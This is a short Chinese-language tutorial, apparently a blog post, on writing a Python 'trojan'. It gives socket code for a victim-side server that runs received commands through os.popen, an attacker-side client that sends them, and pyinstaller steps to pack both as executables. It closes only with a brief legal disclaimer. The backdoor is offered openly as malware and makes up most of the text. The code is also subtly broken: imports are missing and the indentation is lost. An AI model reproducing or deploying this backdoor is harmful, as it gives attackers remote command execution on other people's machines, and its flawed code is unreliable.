编写Python木马程序涉及到使用网络编程技术,特别是通过`socket`库进行客户端和服务器之间的通信。以下是一个简单的Python木马程序示例,使用`socket`进行通信,并通过命令行接收和执行远程命令。
服务器端代码(被控制的电脑)
-*- coding: UTF-8 -*-
import socket
import sys
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.buffer_size = 10240
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.bind((self.host, self.port))
self.server_socket.listen(5)
print(f"Server listening on {self.host}:{self.port}")
def handle_client(self, client_socket, address):
print(f"Connection from {address}")
while True:
try:
data = client_socket.recv(self.buffer_size)
if not data:
break
command = data.decode('utf-8')
print(f"Received command: {command}")
output = os.popen(command).read()
client_socket.send(output.encode('utf-8'))
except Exception as e:
print(f"Error: {e}")
break
client_socket.close()
def start(self):
while True:
client_socket, address = self.server_socket.accept()
client_handler = threading.Thread(target=self.handle_client, args=(client_socket, address))
client_handler.start()
if __name__ == "__main__":
server = Server('127.0.0.1', 8800)
server.start()
客户端代码(攻击机)
-*- coding: UTF-8 -*-
import socket
import sys
class Client:
def __init__(self, server_ip, server_port):
self.server_ip = server_ip
self.server_port = server_port
self.buffer_size = 10240
def connect(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print(f"Failed to create socket. Error: {e}")
sys.exit()
try:
s.connect((self.server_ip, self.server_port))
except Exception as e:
print(f"Failed to connect to server. Error: {e}")
sys.exit()
while True:
message = input("Enter command: ")
if not message:
break
s.send(bytes(message, 'utf-8'))
data = s.recv(self.buffer_size)
if not data:
break
print(data.decode('utf-8'))
s.close()
if __name__ == "__main__":
client = Client('127.0.0.1', 8800)
client.connect()
运行和打包
1. 将上述代码保存为`server.py`和`client.py`。
2. 使用`pyinstaller`将Python脚本打包成可执行文件:
pyinstaller --onefile server.py
pyinstaller --onefile client.py
3. 运行生成的可执行文件。
请注意,编写和使用木马程序可能违反法律法规,并且可能会对他人造成伤害。请确保在合法和道德的范围内使用技术。